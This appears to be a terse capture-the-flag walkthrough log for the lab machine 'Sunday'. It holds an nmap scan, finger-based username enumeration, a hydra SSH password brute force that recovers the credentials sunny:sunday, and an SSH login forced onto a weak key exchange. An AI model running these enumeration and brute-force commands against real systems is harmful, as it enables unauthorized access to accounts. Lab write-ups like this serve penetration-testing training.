1. nmap -A -Pn -p- 10.10.10.76 --min-rate 10000

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-23 11:41 EDT

Warning: 10.10.10.76 giving up on port because retransmission cap hit (10).

Nmap scan report for 10.10.10.76

Host is up (0.19s latency).

Not shown: 62671 filtered ports, 2859 closed ports

PORT STATE SERVICE VERSION

79/tcp open finger Sun Solaris fingerd

|\_finger: No one logged on\x0D

111/tcp open rpcbind 2-4 (RPC #100000)

22022/tcp open ssh SunSSH 1.3 (protocol 2.0)

| ssh-hostkey:

| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)

|\_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)

35553/tcp open unknown

58910/tcp open rpcbind

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:

OS:SCAN(V=7.91%E=4%D=5/23%OT=79%CT=16%CU=43768%PV=Y%DS=2%DC=T%G=Y%TM=60AA78

OS:51%P=x86\_64-pc-linux-gnu)SEQ(CI=I)SEQ(SP=90%GCD=1%ISR=A2%TI=I%CI=I%II=I%

OS:SS=S%TS=7)SEQ(SP=99%GCD=1%ISR=A3%TI=I%II=I%SS=S%TS=7)SEQ(TI=I%CI=I%II=I%

OS:SS=S%TS=7)OPS(O1=NNT11M54DNW0NNS%O2=NNT11M54DNW0NNS%O3=NNT11M54DNW0%O4=N

OS:NT11M54DNW0NNS%O5=NNT11M54DNW0NNS%O6=NNT11M54DNNS)WIN(W1=C265%W2=C265%W3

OS:=C1CC%W4=C068%W5=C068%W6=C0B7)ECN(R=Y%DF=Y%T=3C%W=C421%O=M54DNW0NNS%CC=Y

OS:%Q=)ECN(R=N)T1(R=Y%DF=Y%T=3C%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%

OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%

OS:O=%RD=0%Q=)T5(R=N)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=N)T7(

OS:R=N)U1(R=Y%DF=Y%T=FF%IPL=70%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=

OS:Y%DFI=Y%T=FF%CD=S)

Network Distance: 2 hops

Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

TRACEROUTE (using port 57838/tcp)

HOP RTT ADDRESS

1 194.73 ms 10.10.14.1

2 195.10 ms 10.10.10.76

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 177.34 seconds

1. git clone <https://github.com/pentestmonkey/finger-user-enum.git>

Cloning into 'finger-user-enum'...

remote: Enumerating objects: 11, done.

remote: Total 11 (delta 0), reused 0 (delta 0), pack-reused 11

Receiving objects: 100% (11/11), 80.73 KiB | 3.23 MiB/s, done.

Resolving deltas: 100% (1/1), done.

1. perl finger-user-enum.pl -U /opt/bipin/htbmachines/sunday/names.txt -t 10.10.10.76

Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

----------------------------------------------------------

| Scan Information |

----------------------------------------------------------

Worker Processes ......... 5

Usernames file ........... /opt/bipin/htbmachines/sunday/names.txt

Target count ............. 1

Username count ........... 10177

Target TCP port .......... 79

Query timeout ............ 5 secs

Relay Server ............. Not used

######## Scan started at Sun May 23 13:16:20 2021 #########

access@10.10.10.76: access No Access User < . . . . >..nobody4 SunOS 4.x NFS Anonym < . . . . >..

admin@10.10.10.76: Login Name TTY Idle When Where..adm Admin < . . . . >..lp Line Printer Admin < . . . . >..uucp uucp Admin < . . . . >..nuucp uucp Admin < . . . . >..dladm Datalink Admin < . . . . >..listen Network Admin < . . . . >..

anne marie@10.10.10.76: Login Name TTY Idle When Where..anne ???..marie ???..

bin@10.10.10.76: bin ??? < . . . . >..

dee dee@10.10.10.76: Login Name TTY Idle When Where..dee ???..dee ???..

jo ann@10.10.10.76: Login Name TTY Idle When Where..jo ???..ann ???..

la verne@10.10.10.76: Login Name TTY Idle When Where..la ???..verne ???..

line@10.10.10.76: Login Name TTY Idle When Where..lp Line Printer Admin < . . . . >..

message@10.10.10.76: Login Name TTY Idle When Where..smmsp SendMail Message Sub < . . . . >..

miof mela@10.10.10.76: Login Name TTY Idle When Where..miof ???..mela ???..

root@10.10.10.76: root Super-User pts/3 <Apr 24, 2018> sunday ..

sammy@10.10.10.76: sammy console <Jul 31, 2020>..

sunny@10.10.10.76: sunny pts/3 <Apr 24, 2018> 10.10.14.4 ..

sys@10.10.10.76: sys ??? < . . . . >..

zsa zsa@10.10.10.76: Login Name TTY Idle When Where..zsa ???..zsa ???..

######## Scan completed at Sun May 23 14:03:40 2021 #########

15 results.

1. hydra -s 22022 -l sunny -P /opt/bipin/htbmachines/nibbles/passwordlist/rockyou.txt 10.10.10.76 -t 4 ssh -v

[22022][ssh] host: 10.10.10.76 login: sunny password: sunday

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 3 final worker threads did not complete until end.

[ERROR] 3 targets did not resolve or could not be connected

[ERROR] 0 target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-05-23 16:00:07

1. ssh -p 22022 [sunny@10.10.10.76](mailto:sunny@10.10.10.76)

Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

1. ssh -oKexAlgorithms=diffie-hellman-group1-sha1 -p 22022 [sunny@10.10.10.76](mailto:sunny@10.10.10.76)

The authenticity of host '[10.10.10.76]:22022 ([10.10.10.76]:22022)' can't be established.

RSA key fingerprint is SHA256:TmRO9yKIj8Rr/KJIZFXEVswWZB/hic/jAHr78xGp+YU.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '[10.10.10.76]:22022' (RSA) to the list of known hosts.

Password:

Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4

Sun Microsystems Inc. SunOS 5.11 snv\_111b November 2008

sunny@sunday:~$ whoami

sunny

sunny@sunday:~$